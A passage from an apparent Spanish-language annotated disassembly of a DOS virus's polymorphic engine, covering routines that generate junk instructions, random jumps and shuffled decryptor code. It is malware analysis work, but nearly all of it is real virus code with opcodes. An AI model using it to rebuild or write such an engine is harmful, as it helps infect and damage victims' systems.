∩0DA6:0B99 8AB79F0F      MOV     DH,[BX+0F9F]    Ω; En DH un valor según BX          ∩0DA6:0B9D EB12          JMP     0BB1            Ω; Salta a :0BB1                                                                                                         ∩0DA6:0B9F A801          TEST    AL,01           Ω; ¿Es par?                         ∩0DA6:0BA1 7508          JNZ     0BAB            Ω; Si no es, salta                  ∩0DA6:0BA3 B201          MOV     DL,01           Ω; DL = 01                          ∩0DA6:0BA5 8AB79F0F      MOV     DH,[BX+0F9F]    Ω; En DH un valor según BX          ∩0DA6:0BA9 EB06          JMP     0BB1            Ω; Salta                            ∩0DA6:0BAB B2FF          MOV     DL,FF           Ω; DL = FF                          ∩0DA6:0BAD 8AB7980F      MOV     DH,[BX+0F98]    Ω; En DH un valor según BX                                                                                               ∩0DA6:0BB1 A802          TEST    AL,02           Ω; Mira si el bit 1 de AL está                                                      Ω; a 1                               ∩0DA6:0BB3 750F          JNZ     0BC4            Ω; Si está, salta                   ∩0DA6:0BB5 B081          MOV     AL,81           Ω; En AL el valor 81h               ∩0DA6:0BB7 AA            STOSB                   Ω; Lo almacena                      ∩0DA6:0BB8 8AC6          MOV     AL,DH           Ω; Aquí el byte en [BX+0F98]                                                        Ω; o [BX+0F9F]                       ∩0DA6:0BBA AA            STOSB                   Ω; Lo almacena                      ∩0DA6:0BBB 8AC2          MOV     AL,DL           Ω; En AL el valor 01 o FFh          ∩0DA6:0BBD 98            CBW                     Ω; Convert Byte to Word. Si AL                                                      Ω; es 01, AX será 0001. Si por                                                       Ω; el contrario AL es FFh, en-                                                       Ω; tonces AX será FFFFh              ∩0DA6:0BBE AB            STOSW                   Ω; Lo almacena                                                                      Ω; En todo este trayecto ha al-                                                      Ω; macenado un CMP BX/SI/DI,                                                         Ω; 0001/FFFF (me parece)             ∩0DA6:0BBF 46            INC     SI              Ω; Incrementa SI                    ∩0DA6:0BC0 80C103        ADD     CL,03           Ω; Suma 3 a CL                      ∩0DA6:0BC3 C3            RET                     Ω; Retorna                                                                         Ω; Aquí desde :0BB3                   ∩0DA6:0BC4 B083          MOV     AL,83           Ω; AL = 83h                         ∩0DA6:0BC6 AA            STOSB                   Ω; Lo mete                          ∩0DA6:0BC7 8AC6          MOV     AL,DH           Ω; En AL la segunda parte del                                                       Ω; opcode                            ∩0DA6:0BC9 AA            STOSB                   Ω; Lo inserta                       ∩0DA6:0BCA 8AC2          MOV     AL,DL           Ω; AL = 01h o FFh                   ∩0DA6:0BCC AA            STOSB                   Ω; Lo inserta                       ∩0DA6:0BCD 46            INC     SI              Ω; Incrementa SI                    ∩0DA6:0BCE 80C102        ADD     CL,02           Ω; Suma 2 a CL                      ∩0DA6:0BD1 C3            RET                     Ω; Retorna                                                                                                               ε;;;; Rutina para insertar, según el registro indicado en [0F5D], una instruc-       ε;;;; ción "ADD AX/BX/CX/DX/DI/SI/BP, TamañoVirus" ó "SUB AX/BX/CX/DX/DI/SI/BP,      ε;;;; -TamañoVirus"                                                                                                                                                       ∩0DA6:0BD2 803E5C0F80    CMP     BYTE PTR [0F5C],80 Ω; Mira si el byte en [0F5C]                                                     Ω; es 80h                            ∩0DA6:0BD7 90            NOP                     Ω; NOP (?? - Lo único que hace                                                      Ω; es aumentar el tamaño)            ∩0DA6:0BD8 7744          JA      0C1E            Ω; Si es mayor, salta y retorna     ∩0DA6:0BDA 52            PUSH    DX              Ω; Guarda DX                        ∩0DA6:0BDB BA6A1E        MOV     DX,1E6A         Ω; En DX el tamaño del virus        ∩0DA6:0BDE A05C0F        MOV     AL,[0F5C]       Ω; Coge en AL el byte en [0F5C]     ∩0DA6:0BE1 2407          AND     AL,07           Ω; Anula los 5 bits superiores      ∩0DA6:0BE3 98            CBW                     Ω; AH = 0                           ∩0DA6:0BE4 40            INC     AX              Ω; Incrementa AX. Ahora AX es un                                                    Ω; número entre 1 y 8                ∩0DA6:0BE5 03D0          ADD     DX,AX           Ω; Se lo suma al tamaño del vi-                                                     Ω; rus                               ∩0DA6:0BE7 8A1E600F      MOV     BL,[0F60]       Ω; Coge en BL el byte en [0F60]     ∩0DA6:0BEB 80FB06        CMP     BL,06           Ω; Comprueba si es 6                ∩0DA6:0BEE 7406          JZ      0BF6            Ω; Si es, salta y evita las si-                                                     Ω; guientes 3 instrucciones          ∩0DA6:0BF0 F6C301        TEST    BL,01           Ω; Comprueba si es par              ∩0DA6:0BF3 7501          JNZ     0BF6            Ω; Si no es par, evita lo si-                                                       Ω; guiente                           ∩0DA6:0BF5 4A            DEC     DX              Ω; Decrementa DX                    ∩0DA6:0BF6 8AE0          MOV     AH,AL           Ω; AH = AL                          ∩0DA6:0BF8 33DB          XOR     BX,BX           Ω; BX = 0                           ∩0DA6:0BFA 8A1E5D0F      MOV     BL,[0F5D]       Ω; BL = byte en [0F5D], que es                                                      Ω; donde guardó anterior infor-                                                      Ω; mación sobre el opcode de                                                         Ω; cierta instrucción que hizo.                                                      Ω; Según el número, indica el                                                        Ω; registro que ha usado en la                                                       Ω; instrucción que insertó cuan-                                                     Ω; do dio valor a esta variable.                                                     Ω; El 0 indica AX, el 1 BX, etc.                                                     Ω; Es un número entre 0 y 6          ∩0DA6:0BFE B081          MOV     AL,81           Ω; AL = 81h                         ∩0DA6:0C00 AA            STOSB                   Ω; Lo almacena                      ∩0DA6:0C01 F6C401        TEST    AH,01           Ω; Comprueba si AH es par           ∩0DA6:0C04 740C          JZ      0C12            Ω; Si es, salta a :0C12             ∩0DA6:0C06 8A87980F      MOV     AL,[BX+0F98]    Ω; En AL coge un valor que jun-     ∩0DA6:0C0A AA            STOSB                   Ω; to con 81h forma la instruc-                                                     Ω; ción SUB AX/.../DI/SI/BP,****     ∩0DA6:0C0B 8BC2          MOV     AX,DX           Ω; Coge el valor de DX en AX        ∩0DA6:0C0D F7D8          NEG     AX              Ω; Lo niega                         ∩0DA6:0C0F AB            STOSW                   Ω; Lo mete para completar la                                                        Ω; instrucción                       ∩0DA6:0C10 EB08          JMP     0C1A            Ω; Salta a :0C1A                                                                   Ω; Aquí desde :0C04                   ∩0DA6:0C12 8A879F0F      MOV     AL,[BX+0F9F]    Ω; Coge el segundo byte del op-                                                     Ω; code para formar la instruc-                                                      Ω; ción ADD AX/.../DI/SI/BP,****     ∩0DA6:0C16 AA            STOSB                   Ω; Lo almacena                      ∩0DA6:0C17 8BC2          MOV     AX,DX           Ω; Coge DX                          ∩0DA6:0C19 AB            STOSW                   Ω; Lo almacena, también             ∩0DA6:0C1A 80C104        ADD     CL,04           Ω; Suma 4 a CL                      ∩0DA6:0C1D 5A            POP     DX              Ω; Recupera DX                      ∩0DA6:0C1E C3            RET                     Ω; Retorna                                                                                                               ε;;; Rutina para insertar una instrucción JMP SHORT o JMP LONG de una longitud       ε;;; de salto variable (entre 1 y 4). Después inserta bytes basura de por medio      ε;;; hasta que completa el salto                                                                                                                                          ∩0DA6:0C1F E818FD        CALL    093A            Ω; Obtiene un aleatorio             ∩0DA6:0C22 A820          TEST    AL,20           Ω; Mira si el bit 5 en AL está                                                      Ω; a 1                               ∩0DA6:0C24 7441          JZ      0C67            Ω; Si no está, salta y acaba        ∩0DA6:0C26 A808          TEST    AL,08           Ω; Comprueba si el bit 3 en AL                                                      Ω; está a 1                          ∩0DA6:0C28 7410          JZ      0C3A            Ω; Si está a 0, salta               ∩0DA6:0C2A 80E403        AND     AH,03           Ω; Anula todos los bits menos                                                       Ω; el 0 y 1 en AH. O sea, que                                                        Ω; saca un número aleatorio en                                                       Ω; AH entre 0 y 3                    ∩0DA6:0C2D 80C401        ADD     AH,01           Ω; Suma 1 a AH                      ∩0DA6:0C30 B0EB          MOV     AL,EB           Ω; En AL el valor de opcode de                                                      Ω; JMP SHORT                         ∩0DA6:0C32 AB            STOSW                   Ω; Forma un JMP SHORT que salta                                                     Ω; hacia delante un número alea-                                                     Ω; torio de bytes entre 1 y 4        ∩0DA6:0C33 80C102        ADD     CL,02           Ω; Suma 2 a CL                      ∩0DA6:0C36 8AC4          MOV     AL,AH           Ω; En AL pone el número de bytes                                                    Ω; aleatorio que ha sacado para                                                      Ω; el salto                          ∩0DA6:0C38 EB10          JMP     0C4A            Ω; Salta y continúa en :0C4A                                                       Ω; Aquí desde :0C28                   ∩0DA6:0C3A 80E403        AND     AH,03           Ω; AH es aleatorio, así que sa-                                                     Ω; ca en AH un número entre 0                                                        Ω; y 3                               ∩0DA6:0C3D 80C401        ADD     AH,01           Ω; Suma 1 a AH                      ∩0DA6:0C40 B0E9          MOV     AL,E9           Ω; En AL el opcode de JMP LONG      ∩0DA6:0C42 AA            STOSB                   Ω; Lo almacena                      ∩0DA6:0C43 8AC4          MOV     AL,AH           Ω; Pone en AL el número que ha                                                      Ω; sacado en AH                      ∩0DA6:0C45 98            CBW                     Ω; AH = 0                           ∩0DA6:0C46 AB            STOSW                   Ω; Almacena el número, de mane-                                                     Ω; ra que ha hecho un JMP LONG                                                       Ω; que salta sólamente de 1 a 4                                                      Ω; bytes                             ∩0DA6:0C47 80C103        ADD     CL,03           Ω; Suma 3 a CL                      ∩0DA6:0C4A 8AD8          MOV     BL,AL           Ω; Mete BL en AL                    ∩0DA6:0C4C E8EBFC        CALL    093A            Ω; Saca otro aleatorio en AX        ∩0DA6:0C4F 8AE0          MOV     AH,AL           Ω; Pone AL en AH                    ∩0DA6:0C51 80FC2E        CMP     AH,2E           Ω; Comprueba si AH es 2Eh (una                                                      Ω; posibilidad entre 256)            ∩0DA6:0C54 74F6          JZ      0C4C            Ω; Salta si es ese número           ∩0DA6:0C56 80E4F8        AND     AH,F8           Ω; Anula los 3 bits bajos           ∩0DA6:0C59 80FCB0        CMP     AH,B0           Ω; Comprueba si el resultado es                                                     Ω; B0h                               ∩0DA6:0C5C 74EE          JZ      0C4C            Ω; Si es ese número, salta y                                                        Ω; repite el proceso                 ∩0DA6:0C5E AA            STOSB                   Ω; Almacena AL                      ∩0DA6:0C5F 80C101        ADD     CL,01           Ω; Suma 1 a CL                      ∩0DA6:0C62 80EB01        SUB     BL,01           Ω; Decrementa BL                    ∩0DA6:0C65 75E5          JNZ     0C4C            Ω; Si no es 1, salta y hace LOOP                                                    Ω; hasta que lo haga BL veces        ∩0DA6:0C67 C3            RET                     Ω; Retorna                                                                                                               ε;;;; Rutina para insertar una instrucción que salte al inicio del virus una         ε;;;; vez ha desencriptado el virus. Inserta un POP Reg/JMP Reg si en el stack       ε;;;; se guarda el Entry Point del virus en el archivo. Si no es así, se inser-      ε;;;; ta un JMP LONG al Entry Point.                                                                                                                                      ∩0DA6:0C68 F6068C0110    TEST    BYTE PTR [018C],10 Ω; Comprueba si el bit 4 en                                                      Ω; en [018C] está a 1, indicando                                                     Ω; que en el stack no residiría                                                      Ω; la dirección del Entry Point                                                      Ω; del virus                         ∩0DA6:0C6D 7520          JNZ     0C8F            Ω; Si está a 1, continúa en                                                         Ω; :0C8F                             ∩0DA6:0C6F E8C8FC        CALL    093A            Ω; Saca en AX un aleatorio de                                                       Ω; la cadena del virus               ∩0DA6:0C72 A804          TEST    AL,04           Ω; Comprueba si el bit 3 está a                                                     Ω; 1 (salto del 50% de probabi-                                                      Ω; lidad)                            ∩0DA6:0C74 7502          JNZ     0C78            Ω; Si está, salta                   ∩0DA6:0C76 A4            MOVSB                   Ω; Copia un byte del desencrip-                                                     Ω; tador sin modificar               ∩0DA6:0C77 C3            RET                     Ω; Retorna                                                                         Ω; Aquí desde :0C74                   ∩0DA6:0C78 80E407        AND     AH,07           Ω; Convierte AH en un número en-                                                    Ω; tre 0 y 7                         ∩0DA6:0C7B 80FC04        CMP     AH,04           Ω; Mira si AH es 4, porque si                                                       Ω; AH es 4 las instrucciones que                                                     Ω; va a insertar ahora implican                                                      Ω; al registro SP, y eso no mola     ∩0DA6:0C7E 74E8          JZ      0C68            Ω; Si es, salta a :0C68 y vuelve                                                    Ω; a hacer el proceso                ∩0DA6:0C80 8AC4          MOV     AL,AH           Ω; Pone AH en AL                    ∩0DA6:0C82 0C58          OR      AL,58           Ω; Lo convierte a un número en-                                                     Ω; tre 58h y 5Fh (instrucción                                                        Ω; POP AX/BX/CX/DX/../BP/SI/DI)      ∩0DA6:0C84 AA            STOSB                   Ω; Lo almacena                      ∩0DA6:0C85 B0FF          MOV     AL,FF           Ω; AL = FFh                         ∩0DA6:0C87 80CCE0        OR      AH,E0           Ω; AH = Un número entre E0h y                                                       Ω; E7h. Forma en AX:                                                                 Ω; JMP AX/BX/CX/DX/../BP/SI/DI       ∩0DA6:0C8A AB            STOSW                   Ω; Lo almacena                      ∩0DA6:0C8B 80C102        ADD     CL,02           Ω; Suma 2 a CL                      ∩0DA6:0C8E C3            RET                     Ω; Retorna                                                                         Ω; Aquí desde :0C6D                   ∩0DA6:0C8F 80368C0110    XOR     BYTE PTR [018C],10 Ω; Pone el bit 4 de [018C] a                                                        Ω; 0                              ∩0DA6:0C94 B0E9          MOV     AL,E9           Ω; En AL el opcode de JMP LONG      ∩0DA6:0C96 AA            STOSB                   Ω; Lo pone                          ∩0DA6:0C97 80C102        ADD     CL,02           Ω; Suma 2 a CL                      ∩0DA6:0C9A 8AC1          MOV     AL,CL           Ω; Pone en AL el tamaño de la                                                       Ω; basura que hay hasta el mo-                                                       Ω; mento                             ∩0DA6:0C9C 98            CBW                     Ω; AH = 0                           ∩0DA6:0C9D 057B1E        ADD     AX,1E7B         Ω; Suma a AX el tamaño del virus                                                    Ω; mas 17 bytes                      ∩0DA6:0CA0 F7D8          NEG     AX              Ω; Niega AX                         ∩0DA6:0CA2 AB            STOSW                   Ω; Lo almacena                      ∩0DA6:0CA3 C3            RET                     Ω; Retorna                                                                                                               ε;;;;; Rutina para barajar las 3 primeras instrucciones del desencriptador que       ε;;;;; ha hecho en :0E70                                                                                                                                                  ∩0DA6:0CA4 53            PUSH    BX             Ω; Guarda BX en el stack             ∩0DA6:0CA5 BE700E        MOV     SI,0E70        Ω; En SI la dirección del desen-                                                    Ω; criptador recién hecho             ∩0DA6:0CA8 E88FFC        CALL    093A           Ω; Obtiene en AX un número alea-                                                    Ω; torio de la cadena de aleato-                                                     Ω; rios                               ∩0DA6:0CAB 7B12          JPO     0CBF           Ω; Salta si hay paridad impar                                                       Ω; (toma ya!)                         ∩0DA6:0CAD BF750E        MOV     DI,0E75        Ω; En DI, la dirección :0E75         ∩0DA6:0CB0 8B05          MOV     AX,[DI]        Ω; Coge el word en [0E75]            ∩0DA6:0CB2 FF7502        PUSH    [DI+02]        Ω; Guarda en el stack el word en                                                    Ω; [0E77]                             ∩0DA6:0CB5 56            PUSH    SI             Ω; Guarda SI                         ∩0DA6:0CB6 A5            MOVSW                  Ω; Copia 3 bytes a :0E75             ∩0DA6:0CB7 A4            MOVSB                                                       ∩0DA6:0CB8 5E            POP     SI             Ω; Saca SI de nuevo                  ∩0DA6:0CB9 8904          MOV     [SI],AX        Ω; Pone en :0E70 el word que ha-                                                    Ω; bía en :0E75                       ∩0DA6:0CBB 58            POP     AX             Ω; Saca en AX lo que había en                                                       Ω; [0E77]                             ∩0DA6:0CBC 884402        MOV     [SI+02],AL     Ω; Copia el byte de :0E77 en                                                        Ω; :0E72                              ∩0DA6:0CBF BF861E        MOV     DI,1E86        Ω; En DI, :1E86                      ∩0DA6:0CC2 E875FC        CALL    093A           Ω; Obtiene en AX un aleatorio        ∩0DA6:0CC5 3C55          CMP     AL,55          Ω; Salta a :0CDE con una proba-      ∩0DA6:0CC7 7215          JB      0CDE           Ω; bilidad de 1/3                    ∩0DA6:0CC9 3CAA          CMP     AL,AA          Ω; Salta a :0CEE con otra proba-     ∩0DA6:0CCB 7221          JB      0CEE           Ω; bilidad de 1/3                                                                  Ω; Y hay una probabilidad de 1/3                                                     Ω; de que llegue aquí                  ∩0DA6:0CCD 8B4403        MOV     AX,[SI+03]     Ω; Coge en AX la instrucción en                                                     Ω; :0E73                              ∩0DA6:0CD0 AB            STOSW                  Ω; La pone en :0E75                  ∩0DA6:0CD1 A5            MOVSW                  Ω; Copia la instrucción anterior     ∩0DA6:0CD2 A4            MOVSB                                                       ∩0DA6:0CD3 46            INC     SI             Ω; Suma 2 a SI                       ∩0DA6:0CD4 46            INC     SI                                                  ∩0DA6:0CD5 A5            MOVSW                  Ω; Copia la instrucción siguiente    ∩0DA6:0CD6 A4            MOVSB                                                       ∩0DA6:0CD7 C6065B0F3E    MOV     BYTE PTR [0F5B],3E Ω; Pone en [0F5B] el valor                                                      Ω; 3Eh                                ∩0DA6:0CDC EB19          JMP     0CF7           Ω; Salta                                                                           Ω; Aquí desde :0CC7                    ∩0DA6:0CDE A5            MOVSW                  Ω; Copia la primera instrucción      ∩0DA6:0CDF A4            MOVSB                                                       ∩0DA6:0CE0 8B04          MOV     AX,[SI]        Ω; Coge la segunda                   ∩0DA6:0CE2 46            INC     SI             Ω; ¿¿Pero por qué no utiliza         ∩0DA6:0CE3 46            INC     SI             Ω; LODSW??                           ∩0DA6:0CE4 A5            MOVSW                  Ω; Copia la tercera                  ∩0DA6:0CE5 A4            MOVSB                                                       ∩0DA6:0CE6 AB            STOSW                  Ω; Ahora la segunda                  ∩0DA6:0CE7 C6065B0F2F    MOV     BYTE PTR [0F5B],2F Ω; Pone en [0F5B] el valor                                                      Ω; 2Fh                                ∩0DA6:0CEC EB09          JMP     0CF7           Ω; Salta                                                                                                                  ∩0DA6:0CEE A5            MOVSW                  Ω; Copia las instrucciones tal       ∩0DA6:0CEF A5            MOVSW                  Ω; y como están                      ∩0DA6:0CF0 A5            MOVSW                                                       ∩0DA6:0CF1 A5            MOVSW                                                       ∩0DA6:0CF2 C6065B0F3B    MOV     BYTE PTR [0F5B],3B Ω; En [0F5B], el valor 3Bh                                                                                            ∩0DA6:0CF7 B90900        MOV     CX,0009        Ω; Copia 9 bytes para acabar de      ∩0DA6:0CFA F3            REPZ                   Ω; copiar el desencriptador que      ∩0DA6:0CFB A4            MOVSB                  Ω; ha hecho                          ∩0DA6:0CFC 5B            POP     BX             Ω; Saca BX                           ∩0DA6:0CFD C3            RET                    Ω; Retorna                                                                                                                                                                                                     ε;;;;; Rutina para hacer una instrucción basura CLI / PUSH XX / POPF-PUSH XX.        ε;;;;; Suma a CL el número de bytes insertados.                                                                                                                           ∩0DA6:0CFE E839FC        CALL    093A           Ω; Obtiene en AX un aleatorio        ∩0DA6:0D01 3C80          CMP     AL,80          Ω; Salta a :0D2E con una proba-      ∩0DA6:0D03 7229          JB      0D2E           Ω; bilidad del 50% y acaba           ∩0DA6:0D05 F6C408        TEST    AH,08          Ω; Mira si el bit 3 de AH está                                                      Ω; a 1                                ∩0DA6:0D08 7507          JNZ     0D11           Ω; Si está, salta                    ∩0DA6:0D0A B0FA          MOV     AL,FA          Ω; Opcode de CLI                     ∩0DA6:0D0C AA            STOSB                  Ω; Lo mete                           ∩0DA6:0D0D 80C101        ADD     CL,01          Ω; Suma 1 a CL                       ∩0DA6:0D10 C3            RET                    Ω; Retorna                                                                                                                ∩0DA6:0D11 53            PUSH    BX             Ω; Guarda BX                         ∩0DA6:0D12 BB2F08        MOV     BX,082F        Ω; BX = 082Fh, que es una direc-                                                    Ω; cción donde guarda instruccio-                                                    Ω; nes para hacer basura en el                                                       Ω; desencriptador                     ∩0DA6:0D15 0414          ADD     AL,14          Ω; Suma a AL el valor 14h            ∩0DA6:0D17 73FC          JNB     0D15           Ω; Si no hay rebosamiento, salta                                                    Ω; hasta que haya                     ∩0DA6:0D19 98            CBW                    Ω; AH = 0                            ∩0DA6:0D1A 24FE          AND     AL,FE          Ω; Anula el bit 0 de AL para ha-                                                    Ω; cerlo par                          ∩0DA6:0D1C 03D8          ADD     BX,AX          Ω; Suma AX a BX                      ∩0DA6:0D1E 8A27          MOV     AH,[BX]        Ω; Obtiene en AH una instrucción                                                    Ω; de las que tiene a partir de                                                      Ω; :082F, que es un PUSH XX           ∩0DA6:0D20 5B            POP     BX             Ω; Saca BX                           ∩0DA6:0D21 B09D          MOV     AL,9D          Ω; AL = Opcode de POPF               ∩0DA6:0D23 803E790101    CMP     BYTE PTR [0179],01 Ω; Mira si el archivo es un                                                     Ω; EXE                                ∩0DA6:0D28 74E2          JZ      0D0C           Ω; Si es, salta                      ∩0DA6:0D2A AB            STOSW                  Ω; Almacena AX                       ∩0DA6:0D2B 80C102        ADD     CL,02          Ω; Suma 2 a CL                       ∩0DA6:0D2E C3            RET                    Ω; Retorna                                                                                                                ε;;; Rutina para meter unos cuantos bytes de las tablas de opcodes que no he         ε;;; llegado a comprender para qué. Si el bit 3 en [018C] está a 1, lo pone a 0      ε;;; y retorna sin realizar ninguna acción más. La dirección de inicio de la         ε;;; rutina es :0D35.                                                                                                                                                                                                    Ω; Aquí desde :0D3A                   ∩0DA6:0D2F 80368C0108    XOR     BYTE PTR [018C],08 Ω; Invierte el bit 3 en la                                                       Ω; dirección [018C]                  ∩0DA6:0D34 C3            RET                     Ω; Retorna                                                                        Ω; Punto de inicio de la rutina.       ∩0DA6:0D35 F6068C0108    TEST    BYTE PTR [018C],08 Ω; Mira si el bit 3 en [018C]                                                    Ω; está a 0                          ∩0DA6:0D3A 75F3          JNZ     0D2F            Ω; Si no está, salta a :0D2F        ∩0DA6:0D3C 53            PUSH    BX              Ω; Guarda BX                        ∩0DA6:0D3D E8FAFB        CALL    093A            Ω; Obtiene un aleatorio en AX       ∩0DA6:0D40 F6C401        TEST    AH,01           Ω; Mira si AH es par                ∩0DA6:0D43 7421          JZ      0D66            Ω; Si es, salta a :0D66             ∩0DA6:0D45 250700        AND     AX,0007         Ω; Anula todos los bits en AX                                                       Ω; menos los 3 últimos               ∩0DA6:0D48 8BD8          MOV     BX,AX           Ω; Lo mete en BX                    ∩0DA6:0D4A 80FB04        CMP     BL,04           Ω; Mira si BL es 4                  ∩0DA6:0D4D 750E          JNZ     0D5D            Ω; Si no es, salta a :0D5D          ∩0DA6:0D4F 803E730EB0    CMP     BYTE PTR [0E73],B0 Ω; Comprueba si en desencrip-                                                    Ω; tador anterior había puesto                                                       Ω; a AL como registro de clave                                                       Ω; para desencriptar (B0h es el                                                      Ω; opcode de MOV AL,**)              ∩0DA6:0D54 74E7          JZ      0D3D            Ω; Si es, salta y repite el pro-                                                    Ω; ceso y saca otro en BL que no                                                     Ω; sea 4                             ∩0DA6:0D56 803E5F0F00    CMP     BYTE PTR [0F5F],00 Ω; Comprueba si el registro de                                                   Ω; la instrucción ?? que hizo                                                        Ω; antes (MOV Reg,****) fue AX       ∩0DA6:0D5B 74E0          JZ      0D3D            Ω; Si era AX, salta y repite el                                                     Ω; proceso                           ∩0DA6:0D5D 8A876A0F      MOV     AL,[BX+0F6A]    Ω; Coge en AL el opcode de algo                                                     Ω; que no he llegado a identifi-                                                     Ω; car                               ∩0DA6:0D61 AA            STOSB                   Ω; Lo almacena                      ∩0DA6:0D62 FEC1          INC     CL              Ω; Incrementa CL                    ∩0DA6:0D64 5B            POP     BX              Ω; Saca BX del stack                ∩0DA6:0D65 C3            RET                     Ω; Retorna                                                                                                                                                              Ω; Aquí desde :0D43 con una pro-                                                     Ω; babilidad del 50%                  ∩0DA6:0D66 803E5F0F00    CMP     BYTE PTR [0F5F],00 Ω; Comprueba si el byte en                                                          Ω; [0F5F] es 0                    ∩0DA6:0D6B 74D0          JZ      0D3D            Ω; Si es, salta y repite la ob-                                                     Ω; tención de un aleatorio para                                                      Ω; saltar aquí o no                  ∩0DA6:0D6D 803E5E0F00    CMP     BYTE PTR [0F5E],00 Ω; Mira si el byte en [0F5E]                                                        Ω; es también 0                   ∩0DA6:0D72 74C9          JZ      0D3D            Ω; Si es, salta a :0D3D             ∩0DA6:0D74 E8C3FB        CALL    093A            Ω; Obtiene en AX un aleatorio       ∩0DA6:0D77 250700        AND     AX,0007         Ω; Anula todos sus bits menos                                                       Ω; los tres últimos                  ∩0DA6:0D7A 3C05          CMP     AL,05           Ω; Comprueba si es 5                ∩0DA6:0D7C 77F6          JA      0D74            Ω; Salta a :0D74 con un 25% de                                                      Ω; probabilidad. Si salta, repi-                                                     Ω; te la obtención de un alea-                                                       Ω; torio. Lo que quiere es sacar                                                     Ω; un número entre 0 y 5 en AL       ∩0DA6:0D7E D0E0          SHL     AL,1            Ω; Lo multiplica por 2              ∩0DA6:0D80 8BD8          MOV     BX,AX           Ω; Lo pone en BX                    ∩0DA6:0D82 8B87720F      MOV     AX,[BX+0F72]    Ω; Obtiene en AX un par de bytes                                                    Ω; sin sentido (al menos para                                                        Ω; mí)                               ∩0DA6:0D86 AB            STOSW                   Ω; Los pone                         ∩0DA6:0D87 80FB06        CMP     BL,06           Ω; Comprueba si BL es 6 (o sea,                                                     Ω; si AL antes era 3                 ∩0DA6:0D8A 7714          JA      0DA0            Ω; Si es mayor, salta               ∩0DA6:0D8C E8ABFB        CALL    093A            Ω; Obtiene un aleatorio en AX       ∩0DA6:0D8F 240F          AND     AL,0F           Ω; Convierte AL en un número en-                                                    Ω; tre 0 y 15                        ∩0DA6:0D91 AA            STOSB                   Ω; Lo mete                          ∩0DA6:0D92 80C101        ADD     CL,01           Ω; Suma 1 a CL                      ∩0DA6:0D95 80FB06        CMP     BL,06           Ω; Comprueba si Bl es 6             ∩0DA6:0D98 7506          JNZ     0DA0            Ω; Si no es, salta                  ∩0DA6:0D9A 8AC4          MOV     AL,AH           Ω; Inserta un byte completamente    ∩0DA6:0D9C AA            STOSB                   Ω; aleatorio                        ∩0DA6:0D9D 80C101        ADD     CL,01           Ω; Suma 1 a CL                                                                     Ω; Aquí desde :0D8A y :0D98           ∩0DA6:0DA0 80C102        ADD     CL,02           Ω; Suma 2 a CL                      ∩0DA6:0DA3 5B            POP     BX              Ω; Saca BX                          ∩0DA6:0DA4 C3            RET                     Ω; Retorna                                                                                                               ε;;;; Rutina para insertar una instrucción CMP/XOR/SUB/AND/ADD BYTE/WORD PTR         ε;;;; [BP-05/-06], ****  con una probabilidad del 66%                                                                                                                     ∩0DA6:0DA5 E892FB        CALL    093A            Ω; Obtiene un número aleatorio                                                      Ω; de "su" cadena en AX              ∩0DA6:0DA8 3D5555        CMP     AX,5555         Ω; Salta a :0DFB con una proba-     ∩0DA6:0DAB 724E          JB      0DFB            Ω; bilidad de un 33%                ∩0DA6:0DAD 800E8C0108    OR      BYTE PTR [018C],08 Ω; Enciende el bit 3 en [018C]   ∩0DA6:0DB2 E88800        CALL    0E3D            Ω; Inserta una instrucción INT                                                      Ω; basura del conjunto que tiene                                                     Ω; en :0803                          ∩0DA6:0DB5 E882FB        CALL    093A            Ω; Obtiene en AX un aleatorio       ∩0DA6:0DB8 93            XCHG    BX,AX           Ω; Pone éste en BX                  ∩0DA6:0DB9 83E302        AND     BX,+02          Ω; Anula todos los bits menos                                                       Ω; el bit 1. O sea, que en BX                                                        Ω; puede tener el valor 0 ó 2        ∩0DA6:0DBC 8B87610F      MOV     AX,[BX+0F61]    Ω; Obtiene en AX la instrucción                                                     Ω; MOV BP,SP o el par PUSH SP/                                                       Ω; /POP BP                           ∩0DA6:0DC0 AB            STOSW                   Ω; Lo almacena                      ∩0DA6:0DC1 8B166E0E      MOV     DX,[0E6E]       Ω; Coge en DX la dirección de                                                       Ω; inicio del virus en el archi-                                                     Ω; vo                                ∩0DA6:0DC5 81C26A1E      ADD     DX,1E6A         Ω; Le suma el tamaño del virus      ∩0DA6:0DC9 03D1          ADD     DX,CX           Ω; Le suma la cantidad de bytes                                                     Ω; de desencriptador que lleva                                                       Ω; hecho                             ∩0DA6:0DCB 80C102        ADD     CL,02           Ω; Suma 2 a CL                      ∩0DA6:0DCE A808          TEST    AL,08           Ω; Comprueba si el bit 3 en AL                                                      Ω; está encendido                    ∩0DA6:0DD0 750F          JNZ     0DE1            Ω; Si está, salta a :0DE1           ∩0DA6:0DD2 B081          MOV     AL,81           Ω; AL = 81h                         ∩0DA6:0DD4 AA            STOSB                   Ω; Lo inserta                       ∩0DA6:0DD5 80C107        ADD     CL,07           Ω; Suma 7 a CL                      ∩0DA6:0DD8 E82100        CALL    0DFC            Ω; Forma una operación CMP/XOR/                                                     Ω; /SUB/AND/ADD [BP+**], ****                                                        Ω; y modifica DX para añadirlo                                                       Ω; a esta instrucción                ∩0DA6:0DDB B0FA          MOV     AL,FA           Ω; AL = -6                          ∩0DA6:0DDD AA            STOSB                   Ω; Lo almacena, de manera que                                                       Ω; la instrucción será:                                                              Ω; ... [BP-06], ****                 ∩0DA6:0DDE 92            XCHG    DX,AX           Ω; Lo pone en AX                    ∩0DA6:0DDF AB            STOSW                   Ω; Lo almacena                      ∩0DA6:0DE0 C3            RET                     Ω; Retorna                                                                         Ω; Aquí desde :0DD0                   ∩0DA6:0DE1 B080          MOV     AL,80           Ω; AL = 80h                         ∩0DA6:0DE3 AA            STOSB                   Ω; Lo almacena                      ∩0DA6:0DE4 80C106        ADD     CL,06           Ω; Suma 6 a CL                      ∩0DA6:0DE7 E81200        CALL    0DFC            Ω; Forma una instrucción CMP/                                                       Ω; /XOR/SUB/AND/ADD BYTE PTR                                                         Ω; [BP+**], **** junto con el                                                        Ω; opcode 80h que ha insertado                                                       Ω; antes                             ∩0DA6:0DEA 80FC80        CMP     AH,80           Ω; Salta a :0DF6 con una proba-     ∩0DA6:0DED 7707          JA      0DF6            Ω; bilidad del 50%                  ∩0DA6:0DEF B0FB          MOV     AL,FB           Ω; AL = -5                          ∩0DA6:0DF1 AA            STOSB                   Ω; Lo inserta para formar                                                           Ω; [BP-05]                           ∩0DA6:0DF2 8AC6          MOV     AL,DH           Ω; Coge DH (recordemos que es                                                       Ω; BYTE PTR)                         ∩0DA6:0DF4 AA            STOSB                   Ω; Lo inserta                       ∩0DA6:0DF5 C3            RET                     Ω; Retorna                                                                         Ω; Aquí desde :0DED                   ∩0DA6:0DF6 B0FA          MOV     AL,FA           